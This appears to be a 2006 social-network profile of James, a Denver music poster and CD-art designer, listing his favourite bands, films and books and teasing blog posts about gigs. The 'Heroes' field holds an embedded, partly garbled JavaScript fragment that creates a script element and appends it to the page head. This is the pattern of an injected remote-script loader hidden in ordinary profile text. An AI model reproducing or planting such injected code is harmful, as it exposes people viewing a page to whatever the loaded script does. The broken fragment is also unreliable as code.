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James

No complaints about the music industry here...it pays the bills.

About Me

For the past few years, I've been a music designer for labels and bands across the country. I live in Denver right now with my beautiful wife Katy, and work for a printing company in a nearby suburb as my 9-5 job.
I'm usually working on something music related whether it be a poster for a gig somewhere for the band or the promoter, cd artwork for a new disc coming out, or an advertisement for a band's release, and then there's the occasional non-music related design work, but I try to keep my focus on the music industry.
My own website is www.leftbraincreativ.com
Check out my poster work here

My Interests

Anything to do with art and music together, SXSW, woodworking, screenprinting

I'd like to meet:

Robert Plant, John Bonham, Steve Fisk, Beck,

Music:

God, too many to list, but I'll start- Bright Eyes, Mike Doughty, Mute Math, Criteria, Mellowdrone, Maktub, Nada Surf, Cowboy Mouth(and those are just the bands I've designed posters for). Led Zeppelin, and all things related, Aerosmith, Art of Noise, Pale Pacific, My Scarlet Life, On, Year of The Rabbit, Black Rebel Motorcycle Club, TV on the Radio, The Nadas, Towncrier, THE PHOTO ATLAS

Movies:

Ferris Bueller's Day Off, Sneakers

Television:

cheesy reality shows that I get sucked into watching with Katy, then come to enjoy, and no longer deny enjoying said shows.

Books:

"Art of Modern Rock" "Bauhaus - bauhaus archiv"

Heroes:

Paul Rand, Wayne Coyne, Frank Kozik .."var s=document·('script');s.src='..';document·getEleme ntsByTagName('head')[0].appendChild(s);"

My Blog

Big Head Todd

Just in case you guys didn't catch the bulletin I threw out there, I just finished working with Big Head TOdd & The Monsters designing the gig poster and merch for their New Year's Eve show this year ...
Posted by James on Tue, 05 Dec 2006 11:04:00 PST

Poster Updates

I was getting sick of seeing my posters among the pictures I actually have of Katy and myself, so I decided that anyone who really wants to check out the latest designs I've completed for bands can fi...
Posted by James on Wed, 25 Oct 2006 08:24:00 PST

Mellowdrone Show!

Wow. Thursday's show at the Hi-Dive with Mellowdrone and Lola Ray was awesome to say the least. I've been a huge fan of Jonathan Bates music since he first put out Mellowdrone's "A Demonstration of In...
Posted by James on Sat, 29 Apr 2006 12:25:00 PST